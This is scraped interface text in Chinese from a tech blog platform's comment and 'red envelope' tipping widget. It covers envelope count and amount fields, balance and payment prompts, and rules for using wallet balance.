成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值